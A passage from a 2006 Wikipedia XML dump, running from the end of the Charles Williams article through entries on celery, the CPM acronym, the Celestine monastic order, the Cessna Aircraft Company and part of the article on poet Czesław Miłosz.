of the Summer Stars'' (1944).  Some of Williams's best essays were collected and published in [[Anne Ridler]]'s ''Image of the City and Other Essays'' in 1958.

Williams gathered many followers and disciples during his lifetime. He was for a period a member of the Salvator Mundi Temple of the [[Fellowship of the Rosy Cross]], an offshoot of the [[Hermetic Order of the Golden Dawn]]. He met fellow Anglican [[Evelyn Underhill]] (who was also affiliated with the Golden Dawn) in 1937 and was later to write [http://homepages.ihug.co.nz/~dcandmkw/spirit/eucw%20-%20int.htm the introduction] to her published ''Letters'' in 1943.  Williams also formed what some regard to be strange master-disciple relationships with young women throughout his lifetime.  The best known (though probably not the most significant) of these occurred in the early 1940s with Lois Lang Sims.  Lang Sims, whom Williams referred to as Lalage, published a series of letters that Williams wrote to her during this period in a volume entitled ''Letters to Lalage'' (1989).  Though Williams married his first sweetheart, Florence Conway, in [[1917]], he continually struggled to reconcile a lifelong (though probably unconsummated) love affair with Phyllis Jones (who joined the Oxford Universty Press in 1924 as librarian) with his Christian faith.

Although Williams attracted the attention and admiration of some of the most notable writers of his day, his greatest admirer was probably [[C.S. Lewis]].  Williams came to know Lewis after reading Lewis's recently published study ''The Allegory of Love''; he was so impressed he jotted down a letter of congratulations and dropped it in the mail.  Coincidentally, Lewis has just finished reading Williams's novel [[The Place of the Lion]] and had written a similar note of congratulations.  The letters crossed in the mail and led to an enduring and fruitful friendship.  When [[World War II]] broke out in [[1939]] [[Oxford University Press]] moved its offices from [[London]] to [[Oxford]].  Although Williams was reluctant to leave his beloved city, this move did allow him to regularly participate in Lewis's literary society known as [[The Inklings]].  In this setting Williams was able to read (and improve) his final published novel, ''All Hallows' Eve'' as well as hear [[J.R.R. Tolkien]] read some of his early drafts of [[The Lord of the Rings]] aloud to the group.  In addition to meeting in Lewis's rooms at Oxford, they also regularly met at ''The Eagle and Child'' pub in Oxford (better known by its nickname &quot;The Bird and Baby&quot;).  During this time Williams's also offered lectures at [[Oxford]] on [[John Milton]] and received an honorary M.A. degree.  Williams is buried in [[Holywell Cemetery]], [[Oxford]].


==Williams's Novels==

* '''''War in Heaven''''' ([[1930]]) - The [[Holy Grail]] surfaces in an obscure country parish and becomes variously a sacramental object to protect or a vessel of power to exploit.  [http://www.amazon.com/gp/product/0802812198 Link]
* '''''Many Dimensions''''' ([[1931]]) - An evil antiquarian illegally purchases the fabled Stone of Suleiman or [[King Solomon]] from its Islamic guardian in [[Baghdad]] and returns to England to discover not only that the Stone can multiply itself infinitely without diminishing the original, but that it also allows its possessor to transcend the barriers of space and time. [http://www.amazon.com/gp/product/080281221X/103-0877473-4944655?v=glance&amp;n=283155 Link]
* '''''The Place of the Lion''''' ([[1931]]) - [[Platonic]] [[archetypes]] begin to appear throughout England wreaking havoc and drawing to the surface the spiritual strengths and flaws of individual characters. [http://www.amazon.com/gp/product/1573831085 Link]
* '''''The Greater Trumps''''' ([[1932]]) - The original [[Tarot]] is used to unlock enormous metaphysical powers by allowing the possessors to see across space and time, create matter, and raise powerful natural storms. [http://www.amazon.com/gp/product/1573831115 Link]
* '''''Shadows of Ecstasy''''' ([[1933]]) - A humanistic adept has discovered that by focusing his energies inward he can extend his life almost indefinitely.  He undertakes an experiment using African lore to die and resurrect his own body thereby assuring his immortality. [http://www.amazon.com/gp/product/1573831093 Link]
* '''''Descent into Hell''''' ([[1937]]) - Centering around the performance of a play, ''Descent'' deals with various forms of selfishness, and how the cycle of sin brings about the necessity for redemptive acts. In it, an academic becomes so far removed from the world that he fetishizes a woman to the extent that his perversion takes the form of a [[succubus]]. Characters include a [[doppelganger]] and the ghost of a suicidal [[Victorian]] builder. It is illustrative of William's belief in the replacement of sin and subtitutional love. [http://www.amazon.com/gp/product/0802812201 Link]
* '''''All Hallows' Eve''''' ([[1945]]) - Opens with a discussion between the ghosts of two dead women wandering London.  Ultimately explores the meaning of human suffering and empathy by dissolving the barrier between the living and the dead through both black magic and divine love. [http://www.amazon.com/gp/product/1573831107 Link]

==Complete Works==

* ''The Silver Stair'' (1912) poems
* ''Poems of Conformity'' (1917)
* ''Divorce'' (1920) poems
* ''Windows of Night'' (1924)
* ''The Masque of the Manuscript'' (1927) play
* ''A Myth of Shakespeare'' (1928) play
* ''A Masque of Perusal'' (1929) play
* ''A Book of Victorian Narrative Verse'' (1929) edited collection
* ''War in Heaven'' (1930) novel
* ''Poetry At Present'' (1930) criticism
* ''The Place of the Lion'' (1931) novel
* ''Three Plays'' (1931) plays
* ''Many Dimensions'' (1931) novel
* ''The English Poetic Mind'' (1932) criticism
* ''The Greater Trumps'' (1932) novel
* ''A Short Life of Shakespeare: with the Sources'' (1933) abridgment of Chamber's 'William Shakespeare: A study of Facts &amp; Problems.' 
* ''Shadows Of Ecstasy'' (1933) novel (first written in 1925)
* ''James I'' (1934) biography
* ''Rochester'' (1935) biography
* ''The New Book of English Verse'' (1935) editor, with [[Lord David Cecil]], [[Ernest de Selincourt]], [[E. M. W. Tillyard]] edited collection
* ''Thomas Cranmer of Canterbury'' (1936) Canterbury Festival Play
* ''Queen Elizabeth'' (1936) biography
* ''Descent Into Hell'' (1937) novel
* ''He Came Down From Heaven'' (1938) theology
* ''Taliessin through Logres'' (1938) poems
* ''The Descent of the Dove: a short history of the Holy Spirit in the Church'' (1939) theology
* ''Judgement at Chelmsford'' (1939) play
* ''Witchcraft'' (1941) history/theology
* ''The Forgiveness of Sins'' (1942) theology
* ''Outlines of Romantic Theology: Religion and Love in Dante'' (c. 1930, pub. 1989) theology
* ''The Region of the Summer Stars'' (1944) poems
* ''The Figure of Beatrice: A Study in Dante'' (1944) criticism
* ''All Hallows Eve'' (1945) novel
* ''The House of the Octopus'' (1945) play
* ''Flecker of Dean Close'' (1946) biography of William Herman Flecker, 1859–1941
* ''Arthurian Torso Containing the Posthumous Fragment of The Figure of Arthur'' (1948) with [[C. S. Lewis]] poetry
* ''Seed of Adam and other plays'' (1948) plays
* ''The Image of the City and Other Essays'' (1958) edited by [[Anne Ridler]]
* ''Collected Plays'' (1963)
* ''Charles Williams'' (Arthurian Poets)'' (1991) edited by David Llewellyn Dodds
* ''Charles Williams: Essential Writings in Spirituality and Theology'' (1993) edited by Charles Hefling
* ''Outlines of romantic theology; with which is reprinted Religion &amp; love in Dante: the theology of romantic love'' (1990) edited by Alice Mary Hadfield

==Books About Williams==

* Cavaliero, Glen. ''Charles Williams: Poet of Theology.'' Grand Rapids: Eerdmans, 1983.
* Hadfield, Alice Mary. ''Charles Williams: An Exploration of His Life and Work.'' Oxford: Oxford UP, 1983.
* Sibley, Agnes. ''Charles Williams.'' Boston: Twayne, 1982.
* Carpenter, Humphrey. ''The Inklings.'' London: Alien and Unwin, 1978.
* Howard, Thomas. ''The Novels of Charles Williams''. San Francisco: Ignatius Press, 1991.
* Huttar, Charles A., and Peter J. Schakel, eds. ''The Rhetoric of Vision: Essays on Charles Williams''. Lewisburg: Bucknell University press/LOndon: Associated University Presses, 1996.
* Walsh, Chad. &quot;Charles Williams' Novels and the Contemporary Mutation of Consciousness,&quot; in ''Myth, Allegory and Gospel: An Interpretation of J.R.R.Tolkien, C.S.Lewis, G.K.Chesterton, Charles Williams''. John Warwick Montgomery, ed. Minneapolis: Bethany Fellowship, 1974, pp. 53-77.

== External links ==

*[http://www.geocities.com/charles_wms_soc/ The Charles Williams Society]
*[http://homepages.pavilion.co.uk/users/tartarus/williams.html The Novels of Charles Williams]
*[http://www.multimaxx.com/chesterton/bios/cwbio.html Charles Williams Biography]
*[http://www.yorku.ca/scottm/cw.html A Charles Williams Bibliography]
*[http://gutenberg.net.au/plusfifty.html#letterW Project Gutenberg of Australia (&quot;W&quot;)] (Scroll down to download public domain copies of ''Descent into Hell,'' ''Many Dimensions,'' and ''All Hallows' Eve'')
*[http://pages.prodigy.net/aesir/madi.htm (About) Many Dimensions]

[[Category:1886 births|Williams, Charles]]
[[Category:1945 deaths|Williams, Charles]]
[[Category:English poets|Williams, Charles]]
[[Category:English novelists|Williams, Charles]]
[[Category:English fantasy writers|Williams, Charles]]
[[Category:Christian writers|Williams, Charles]]
[[Category:English theologians|Williams, Charles]]
[[Category:Christian mysticism|Williams, Charles]]

[[bg:Чарлз Уолтър Стансби Уилямс]]</text>
    </revision>
  </page>
  <page>
    <title>Celery</title>
    <id>6535</id>
    <revision>
      <id>41749741</id>
      <timestamp>2006-03-01T13:48:53Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[urban legend]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Celery
| image = Snijselderij Apium graveolens.jpg
| image_width = 240px
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[dicotyledon|Magnoliopsida]]
| ordo = [[Apiales]]
| familia = [[Apiaceae]]
| genus = ''[[Apium]]''
| species = '''''A. graveolens'''''
| binomial = ''Apium graveolens''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}
'''Celery''' (''Apium graveolens dulce'') is a [[herbaceous]] [[biennial plant]] in the family [[Apiaceae]], native to the [[coast]]s of western and northern [[Europe]], most commonly in ditches and [[saltmarsh]]es. It grows to 1 m tall, with pinnate to bipinnate [[leaf|leaves]] with rhombic leaflets 3-6 cm long and 2-4 cm broad. The [[flower]]s are creamy-white, 2-3 mm diameter, produced in dense compound [[umbel]]s. The [[seed]]s are broad ovoid to globose, 1.5-2 mm long and wide.  [[Celeriac]] (''Apium graveolens rapaceum'') is closely related.

==Cultivation and uses==
[[Image:Apio.jpg|right|thumb|Blanched celery head.]][[Image:Celery cross section.jpg|right|thumb|Cross-section of a Pascal celery stalk.]]
Celery is a very popular [[vegetable]], used primarily in [[salad|salads]] and [[soup|soups]].  In North America, commercial production of celery is dominated by a variety called Pascal celery.  Gardeners can grow a range of [[cultivar]]s , many which differ little from the wild species, mainly in having stouter leaf stems. They are ranged under two classes, white and red; the white cultivars being generally the best flavoured, and most crisp and tender.

The wild form of celery is known as smallage. It has a furrowed stalk with wedge-shaped leaves, the whole plant having a coarse,
rank taste, and a peculiar smell. With cultivation and blanching, the stalks lose their acrid qualities and assume the mild, sweetish, aromatic taste peculiar to celery as a salad plant. 

The plants are raised from [[seed]], sown either in a hot bed or in the open garden according to the season of the year, and after one or two thinnings out and transplantings they are, on attaining a height of 15-20 cm, planted out in deep trenches for convenience of blanching, which is effected by earthing up to exclude light from the stems. 

In the past, celery was grown as a vegetable for winter and early spring; because of its antitoxic properties, it was perceived as a cleansing tonic, welcomed after the stagnation of winter.

===Food uses===
As a salad plant, celery, especially if at all &quot;stringy&quot;, is difficult to digest. Celery has 'negative [[calories]]', as the effort to consume it burns more calories than it contains.  The net loss in calories is not significant in and of itself, but as with other low calorie and high fiber foods, it can be an asset to dieters because when the stomach is filled up with celery it can quench feelings of hunger while leaving less room for higher calorie foods. It also possesses valuable [[diuretic]] properties.

Both blanched and green it is stewed and used in [[soup]]s, the seeds also being used as a flavouring ingredient.  Even after long immersion in broth, the stalks remain somewhat crisp, and are useful for adding texture to the soup.

In the south of Europe celery is seldom blanched, but is much used in its natural condition.

Chopped, it is one of the three vegetables considered the [[holy trinity (cuisine)|holy trinity]] of [[Louisiana Creole cuisine|Louisiana Creole]] and [[Cajun cuisine]].  It is also one of the three vegetables (together with onions and carrots) that constitute the french [[mirepoix (cuisine)|mirepoix]], which is often used as a base for sauces and soups.

Celery seed is used as a [[spice]].  When combined with [[edible salt|salt]], the resulting spice blend is called celery salt.  Celery salt is used as an alternate to ordinary salt seasoning in various recipes and [[cocktail]]s.  It is notably used to enhance the flavor of [[Bloody Mary (cocktail)|Bloody Mary]] and the [[Chicago-style hot dog]].

===Medicinal uses===
The whole plant is gently stimulant, nourishing, and restorative; it can be liquefied, with the juice taken for joint and urinary tract inflammations, such as [[rheumatoid arthritis]], [[cystitis]], or [[urethritis]], for weak conditions, and for nervous exhaustion.

The [[seed]]s, harvested after the plant flowers in its second year, are the basis for a [[Homeopathy|homeopathic]] extract used as a [[diuretic]].  The extract is believed to help clear toxins from the system, so are especially good for [[gout]], where [[uric acid]] crystals collect in the joints, and [[arthritis]]. They are also used as a mild digestive stimulant.  The extract can be combined with [[almond oil|almond]] or [[sunflower oil|sunflower]] oil, and massaged into arthritic joints or for painful gout in the feet or toes.

The root is an effective diuretic and has been taken for urinary stones and gravel. It also acts as a bitter digestive remedy and liver stimulant. A [[tincture]] can be used as a [[diuretic]] in [[hypertension]] and urinary disorders, as a component in arthritic remedies, or as a kidney energy stimulant and cleanser.

===Caution===
* [[Bergapten]] in the seeds could increase photosensitivity, so do not apply the [[essential oil]] externally in bright sunshine.
* Avoid the oil and large doses of the seeds during pregnancy: they can act as a uterine stimulant.
* Do not ingest seeds intended for cultivation, because they are often treated with fungicides.

==Etymology==
There is a widespread [[urban legend|myth]] that the word celery (&quot;The Fast Vegetable&quot;) derives from the [[Latin]] word, ''celer'', meaning ''fast'' or ''swift''. This is entirely false &amp;mdash; there is no connection between them. It actually comes from the [[Greek language|Greek]] ''selinon'', meaning ''[[parsley]]''. A reference to ''selinon'' is found in Homer's ''[[Odyssey]]''.   The word ''celeri'' is found as early as a [[9th century]] poem proclaiming the merits and medicinal uses of the plant, written in France or Italy.

It passed through Latin, [[Italian language|Italian]] and [[French language|French]] before becoming the modern [[English language|English]] word ''celery''.

==Trivia==
*The Class B [[Michigan-Ontario League]], a [[minor league baseball]] league from the early 20th century, included a team called the [[Kalamazoo, Michigan|Kalamazoo]] Celery Pickers.
*[[Dr. Brown's]] makes a celery-flavored [[soft drink]] called [[Cel-Ray]], which is sold mostly in the [[New York City]] region.

== References ==
*[http://aggie-horticulture.tamu.edu/PLANTanswers/publications/vegetabletravelers/celery.html  Celery First Used as a Medicine], from a [[Texas A&amp;M University]] website
* Harper, Douglas (2001). [http://www.etymonline.com/index.php?term=celery Etymology of ''celery'']. Retrieved 2005 [[5 January]].

== External links ==
*[http://www.kpl.gov/collections/LocalHistory/AllAbout/businesses/Celery.aspx History of commercial celery production in Kalamazoo, Michigan], from that city's website
*[http://www.ams.usda.gov/standards/celery.pdf Quality standards] (in [[Portable Document Format|PDF format]]), from the [[United States Department of Agriculture|USDA]] website
*[http://www.nutritiondata.com/foods-celery011000000000000000000.html Nutritional information], from a commercial, [[AdSense|ad-supported]] website based mostly on USDA data

[[Category:Apiaceae]]
[[Category:Leaf vegetables]]
[[Category:Stem vegetables]]
[[Category:Spices]]

[[ar:كرفس]]
[[bg:Целина]]
[[de:Sellerie]]
[[es:Apium graveolens]]
[[eo:Celerio]]
[[fr:Céleri]]
[[he:סלרי]]
[[hu:Zeller]]
[[nl:Snijselderij]]
[[ja:セロリ]]
[[pl:Seler zwyczajny]]
[[sq:Selinoja]]
[[fi:Selleri]]
[[uk:Селера]]</text>
    </revision>
  </page>
  <page>
    <title>CPM</title>
    <id>6536</id>
    <revision>
      <id>41306343</id>
      <timestamp>2006-02-26T12:20:56Z</timestamp>
      <contributor>
        <username>ZS</username>
        <id>488013</id>
      </contributor>
      <minor />
      <comment>/* Others */ Second link fix.</comment>
      <text xml:space="preserve">The [[TLA|three-letter acronym]] '''CPM''' represents several subjects:

==Politics==
* [[Communist Party of India (Marxist)]]
* [[Communist Party of Malaya]]
* [[Party of Communists of the Republic of Moldova]]

==Physics==
* [[Counts per minute]], a unit of [[radioactivity]]
* [[continuous phase modulation]]

==Economy==
* [[Commercial Property Manager]]
* [[corporate performance management]]

==Informatics==
* The [[CP/M]] operating system
* [[Cost Per Thousand]] a payment measuring process as used in [[E-Marketing]]
* [[Cost Per Impression]] another payment measuring process as used in [[E-Marketing]]

==Others==
* ''[[Challenge ProMode Arena]]'', formerly Challenge Promode (''CPM''), a ''[[Quake III Arena]]'' [[mod (computer gaming)|mod]].
* [[Critical path|Critical Path Method]]
* [[Cost Per Mille|Cost per mille]]
* [[Central Park Media]]
* [[Church Planting Movement]], used to instantiate region-based activity of [[church planting]]

{{TLAdisambig}}
__NOTOC__</text>
    </revision>
  </page>
  <page>
    <title>Celestines</title>
    <id>6537</id>
    <revision>
      <id>39218746</id>
      <timestamp>2006-02-11T16:21:46Z</timestamp>
      <contributor>
        <username>Syrthiss</username>
        <id>334792</id>
      </contributor>
      <comment>recat</comment>
      <text xml:space="preserve">:''For other uses, see [[Celestine]]''

'''Celestines''', a branch of the great [[Benedictine]] [[monasticism|monastic]] [[Order (religious)|order]], founded in [[1244]]. At the foundation of the new rule, they were called [[Hermit]]s of St Damiano, or Moronites (or Murronites), and did not assume the appellation of Celestines till after the election of their founder to the [[Papacy]] as [[Pope Celestine V|Celestine V]]. The fame of the holy life and the austerities practised by that saintly hermit (as noticed above) in his solitude on the Mountain of Majella, near Sulmona, attracted many visitors, several of whom were moved to remain and share his mode of life. They built, therefore, a small [[convent]] on the spot inhabited by the holy hermit, which very shortly became too small for the accommodation of those who thronged thither to share their life of privations. Peter of Morone, their founder, therefore built a number of other small [[oratory|oratories]] in that neighbourhood.

This happened about the year [[1254]]. A new religious community was thus formed, and Peter of Morone gave them a rule formulated in accordance with his own practices. In [[1264]] the new institution was approved by [[Pope Urban IV|Urban IV]]. But the founder, having heard that it was probable that [[Pope Gregory X]], then holding a council at [[Lyons]], would suppress all such new orders as had been founded since the [[Lateran Council]], having commanded that such institutions should not be further multiplied, betook himself to Lyons, and there succeeded in persuading Gregory to approve his new order, constituting it a branch of the Benedictines with a rule based on that [[Rule of St Benedict|of Saint Benedict]], but adding to it many additional severities and privations. Gregory further took it under the Papal protection, assured to it the possession of all property it might acquire, and endowed it with that great and constant, but most pernicious and fatal object of the ambition of all monastic orders, exemption from the authority of the ordinary. Nothing more was needed to ensure the rapid spread of the new association and Peter the hermit of Morone lived to see himself &quot;Superior-General&quot; to thirty-six [[monastery|monasteries]] and more than six hundred [[monk]]s. Peter, however, cannot be accused of ambition or the lust of power when a monastic superior, any more than when he insisted on divesting himself of the Papacy, to which he was subsequently raised. 

As soon as he had seen his new order thus consolidated he gave up the government of it to a certain Robert, and retired once again to a still more remote solitude to give himself up more entirely to solitary penance and prayer. Shortly afterwards, in a chapter of the order held in [[1293]], the original monastery of Majella being judged to be too desolate and exposed to too rigorous a climate, it was decided that the monastery which had been founded in Sulmtona should be the headquarters of the order and the residence of the General-Superior, as it has continued to be to the present day. The next year Peter the hermit of Morone, having been, despite his reluctance, elected Pope by the name of Celestine V., the order he had founded took the name of Celestines. The hermit Pope found time in the few short months of his Papacy to confirm the rule of the order, which be had himself composed, and to confer on the society a variety of special graces and privileges. In the only creation of [[Cardinal (Catholicism)|cardinal]]s promoted by him, among the twelve raised to the purple, there were two monks of his order. He found time also to visit personally the great Benedictine monastery on [[Monte Cassino]], where he succeeded in persuading the monks to accept his more rigorous rule. He sent fifty monks of his order to introduce it, who remained, however, for only a few months.

After the death of the founder the order was favoured and privileged by [[Pope Benedict XI|Benedict XI]], and rapidly spread through [[Italy]], [[Germany]], [[Flanders]], and [[France]], where they were received by [[Philip IV of France|Philip the Fair]] in [[1300]]. Subsequently the French Celestines, with the consent of the Italian superiors of the order, and of [[Pope Martin V]] in [[1427]], obtained the privilege of making new constitutions for themselves, which they did in the [[17th century]] in a series of regulations accepted by the provincial chapter in [[1667]]. At that time the French congregation of the order was composed of twenty-one monasteries, the head of which was that of [[Paris]], and was governed by a Provincial with the authority of General. [[Pope Paul V|Paul V]] was a notable benefactor of the order. But in consequence of later political changes and events the order has been dissolved.

According to their special constitutions the Celestines were bound to say [[matins]] in the [[choir]] at two o'clock in the morning, and always to abstain from eating meat, save in illness. The specialities of their rule with regard to [[fasting]] would be long and tedious to recount. It cannot be said that they are more severe than those of sundry other congregations, though much more so than is required by the old Benedictine rule. But in reading their minute directions for divers degrees of abstinence on various days, it is impossible to avoid being struck by the conviction that the great object of the framers of these rules, beyond the general purpose of ensuring an [[asceticism|ascetic]] mode of life, was to create a speciality, to make a distinguishing difference between what &quot;Our&quot; order does and what others do.

The Celestines wore a white [[wool]]len [[cassock]] bound with a [[linen]] band, and a [[leather]]n [[girdle]] of the same colour, with a [[scapulary]] unattached to the body of the dress, and a black [[hood (headgear)|hood]]. It was not permitted to them to wear any shirt save of [[serge]]. Their dress in short was very like that of the [[Cistercians]]. But it is a tradition in the order that in the time of the founder they wore a coarse brown cloth. The church and monastery of St Pietro in Montorio originally belonged to the Celestines in [[Rome]]; but they were turned out of it by [[Pope Sixtus IV|Sixtus IV]] to make way for [[Franciscan]]s, receiving from the Pope in exchange the Church of [[St Eusebius of Vercelli]] with the adjacent mansion for a monastery.

The order of Celestines has had its special [[historian]]s, as Becquet, author of a history of the Celestines of France (Paris, [[1719]]), and in the great collection of the Bollandists, vol. iii., tinder the month of May. But the order does not seem to have been fruitful of men of much mark; nor list it ever attained in the annals of Europe, or even of the church, a position of such importance as most of its rival societies have reached. 

== Sources ==
From the 9th edition (1876) of an unnamed encyclopedia.

[[Category:Celestine Order| ]]</text>
    </revision>
  </page>
  <page>
    <title>CPM operating system</title>
    <id>6538</id>
    <revision>
      <id>15904673</id>
      <timestamp>2004-04-26T14:36:58Z</timestamp>
      <contributor>
        <username>Tannin</username>
        <id>6169</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[CP/M]]</text>
    </revision>
  </page>
  <page>
    <title>Cessna</title>
    <id>6539</id>
    <revision>
      <id>41920093</id>
      <timestamp>2006-03-02T16:57:40Z</timestamp>
      <contributor>
        <username>Rudi146</username>
        <id>964690</id>
      </contributor>
      <text xml:space="preserve">[[Image:Cessna_logo.png|right]]
'''Cessna Aircraft Company''', located in [[Wichita, Kansas|Wichita]], [[Kansas]], is a [[aircraft manufacturer|manufacturer]] of [[general aviation]] [[aircraft]], from small two-seat, single-engine airplanes to business jets.

The company traces its history to June [[1911]], when [[Clyde Cessna]], a farmer in [[Rago, Kansas]], built a wood-and-fabric plane and became the first person to build and fly an aircraft between the [[Mississippi River]] and the [[Rocky Mountains]]. Yet it was Clyde's nephew, [[Dwane Wallace]], who was the person most responsible for the company's success. 

In [[1924]], Cessna partnered with [[Lloyd C. Stearman]] and [[Walter H. Beech]] to form the [[Travel Air|Travel Air Manufacturing Co.]], Inc., a [[biplane]] manufacturing firm, in Wichita. In [[1927]] he left Travel Air to form his own company, the ''Cessna Aircraft Company'', to build monoplanes. 

Cessna Aircraft Company closed its doors from 1932&amp;ndash;1934 due to the state of the economy. In 1934, Dwane Wallace, with the help of his brother Dwight, took control of the company and began the process of building it into a global success.

After [[World War II]], Cessna created the 170, which, along with later models (notably the 172), became the most widely produced light aircraft in history.  Cessna's advertising boasts that its aircraft have trained more pilots than those of any other company.

Cessna was bought by [[General Dynamics]] Corporation in [[1985]], and it stopped producing piston-engine airplanes the next year due to concerns over [[product liability]]. In [[1992]], [[Textron]] Inc. bought Cessna and soon resumed producing light aircraft.

==Aircraft==
{| align=right
|[[image:cessna.195.750pix.jpg|right|thumb|250px|1951 Cessna 195]]
|-
|[[Image:cessna.404.titan2.arp.jpg|thumb|250px|right|1977 Cessna 404 Titan II]]
|}
*[[Cessna 120]]
*[[Cessna 140]]
*[[Cessna 150]]
*[[Cessna 152]]
*[[Cessna 170]]
*[[Cessna 172]]
*[[Cessna 175]]
*[[Cessna 177]]
*[[Cessna 180]]
*[[Cessna 182]]
*[[Cessna 185]]
*[[Cessna AgWagon|Cessna 188 AgWagon &amp; AgTruck]]
*[[Cessna 190]]
*[[Cessna 195]]
*[[Cessna 205 | Cessna 205, 206 Stationair and 207]]
*[[Cessna 208 | Cessna 208 Caravan]]
*[[Cessna 210]]
*[[Cessna 303]]
*[[O-1 Bird Dog|Cessna 305 Birddog]]
*[[Cessna 310]]
*[[Cessna 335]]
*[[Cessna 337]], [[O-2 Skymaster]]
*[[Cessna 340]]
*[[Cessna 401]]
*[[Cessna 404]]
*[[Cessna 406 | Cessna 406 Caravan II]]
*[[Cessna 414]]
*[[Cessna 421]]
*[[Cessna 402]]
*[[Cessna 425|Cessna 425 Conquest I]]
*[[Cessna 441|Cessna 441 Conquest II]]
*[[Cessna 500 Citation I]]
*[[Cessna 501 Citation I]] 
*[[Cessna 510]] Citation Mustang 
*[[Cessna 525 Citation Jet, CJ1]]
*[[Cessna 525A CJ2]]
*[[Cessna 525B CJ3]]
*[[Cessna 550 Citation II]]
*[[Cessna 551 Citation II]]
*[[Cessna S550 Citation SII]]
*[[Cessna 560 Citation V, Citation Ultra, Citation Encore]]
*[[Cessna 560XL Citation Excel]]
*[[Cessna 650 Citation III, Citation VI, Citation VII]]
*[[Cessna 680 Citation Sovereign]]
*[[Cessna 750 Citation X]]
*[[Cessna T-37]]

==External links==
* [http://www.cessna.com/ Official website]
* [http://www.aircraft-info.net/aircraft/propellor_aircraft/cessna/ Aircraft-Info.net - Cessna]
* {{cite web
 | title = Patents owned by Cessna Aircraft Company
 | work = US Patent &amp; Trademark Office
 | url = http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&amp;Sect2=HITOFF&amp;u=%2Fnetahtml%2Fsearch-adv.htm&amp;r=0&amp;p=1&amp;f=S&amp;l=50&amp;Query=an%2F%22Cessna+Aircraft+Company%22&amp;d=ptxt
 | accessdate = December 5
 | accessyear = 2005
 }}

{{airlistbox}}

[[Category:United States aircraft manufacturers]]

[[cs:Cessna]]
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[[no:Cessna Aircraft Company]]
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[[sv:Cessna Aircraft Company]]</text>
    </revision>
  </page>
  <page>
    <title>Czesław Miłosz</title>
    <id>6542</id>
    <revision>
      <id>41550427</id>
      <timestamp>2006-02-28T02:26:06Z</timestamp>
      <contributor>
        <username>Limonzka08</username>
        <id>1003292</id>
      </contributor>
      <text xml:space="preserve">[[Image:CzeslawMilosz.jpg|thumb|Czesław Miłosz in September 1999]]

'''Czesław Miłosz''' ([[International Phonetic Alphabet|pronounced]] [[Image:Ltspkr.png]] [[Media:Milosz.ogg|&lt;nowiki&gt;[&lt;/nowiki&gt;'ʧεsȗav 'miȗɔʃ&lt;nowiki&gt;]&lt;/nowiki&gt;]]; [[June 30]], [[1911]] &amp;ndash; [[August 14]], [[2004]]) was a [[Poland|Polish]] [[poet]] and [[essayist]]. Czesław Miłosz won the [[Nobel Prize in Literature]] in [[1980]], when he lived in [[California]]. He spent the last days of his life in [[Kraków]], [[Poland]].

He was born in [[Šeteniai]], [[Lithuania]] and always underlined his connection to [[Grand Duchy of Lithuania]].  Miłosz studied [[law]] at the [[University in Vilnius]]. His childhood was spent partly in [[Russia]] around the time of [[Russian Revolution of 1917|Revolution]].

In [[1944]] he refused to take part in the [[Warsaw Uprising]].

A [[diplomat]] for the [[Communist state|communist]] [[People's Republic of Poland]], he broke with the government in [[1951]] and sought [[refugee|political asylum]] in [[France]]. In [[1953]] he received the [[Prix Littéraire Européen]], a European literature prize.

In 1960, he came to the United States, but it wasn't until 1970 that he became a naturalized citizen. In [[1961]] he became a [[Professor]] of [[Slavic languages|Slavic Languages]] and Literatures at the [[University of California, Berkeley]]. He retired in [[1978]] but continued to teach there. When the Iron Curtain fell he was able to return to Poland. 

Czeslaw Milosz graduated from Harvard University in 1989. 

In addition to his poetry, his book ''[[The Captive Mind]]'' is considered one of the finest studies of the condition of the intellectual under repressive regimes.  In this book, he observed that the intellectuals who became dissidents were not necessarily the ones with the strongest minds, but those with the weakest stomachs. The mind can rationalize anything, he said, but the stomach can only take so much.  

He also said that as a poet he avoided touching his nation's wounds for fearing of making them holy.

He also founded a school of Polish Poetry. 

Czesław Miłosz is honored at [[Israel]]'s [[Yad Vashem]] memorial to the [[Holocaust]] as one of the &quot;[[Righteous Among The Nations]].&quot;

His poems were put on the monuments of fallen shipyard workers in [[Gdańsk]]. Many of his books and poems have been translated into English by his friend and Berkeley colleague [[Robert Hass]].

Miłosz died in 2004 at his home in Kraków at age 93. His first wife, Janina, died in [[1986]]. His second wife, Carol, a U.S.-born historian, died in [[2002]].

[[Image:Herb Lubicz.jpg|200px|thumb|left|Lubicz Coat of Arms]]


==Works==
* ''Kompozycja'' ([[1930]])
* ''Podróż'' ([[1930]])
* ''Poemat o czasie zastygłym'' ([[1933]])
* ''Trzy zimy'' / ''Three Winters'' ([[1936]])
* ''Obrachunki''
* ''Wiersze'' / ''Verses'' ([[1940]])
* ''Pieśń niepodległa'' ([[1942]])
* ''Ocalenie'' / ''Rescue'' ([[1945]])
* ''Traktat moralny'' / ''A Moral Treatise'' ([[1947]])
* ''Zniewolony umysł'' / ''The Captive Mind'' ([[1953]])
* ''Zdobycie władzy'' / ''The Seizure of Power'' ([[1953]])
* ''Światło dzienne'' / ''The Light of Day'' ([[1953]])
* ''Dolina Issy'' / ''The Issa Valley'' ([[1955]])
* ''Traktat poetycki'' / ''A Poetical Treatise'' ([[1957]])
* ''Rodzinna Europa'' / ''Native Realm'' ([[1958]])
* ''Kontynenty'' ([[1958]])
* ''Człowiek wśród skorpionów'' ([[1961]])
* ''Król Popiel i inne wiersze'' / ''King Popiel and Other Poems'' ([[1961]])
* ''Gucio zaczarowany'' / ''Gucio Enchanted'' ([[1965]])
* ''Widzenia nad Zatoką San Francisco'' / ''A View of San Francisco Bay'' ([[1969]])
* ''Miasto bez imienia'' / ''City Without a Name'' ([[1969]])
* ''The History of Polish Literature''  ([[1969]])
* ''Prywatne obowiązki'' / ''Private Obligations'' ([[1972]])
* ''Gdzie słońce wschodzi i kiedy zapada'' / ''Where the Sun Rises and Where It Sets'' ([[1974]])
* ''Ziemia Ulro'' / ''The Land of Ulro'' ([[1977]])
* ''Ogród nauk'' / ''The Garden of Science'' ([[1979]])
* ''Hymn o perle'' / ''The Poem of the Pearl'' ([[1982]])
* ''The Witness of Poetry''  ([[1983]])
* ''Nieobjęta ziemio'' / ''The Unencompassed Earth'' ([[1984]])
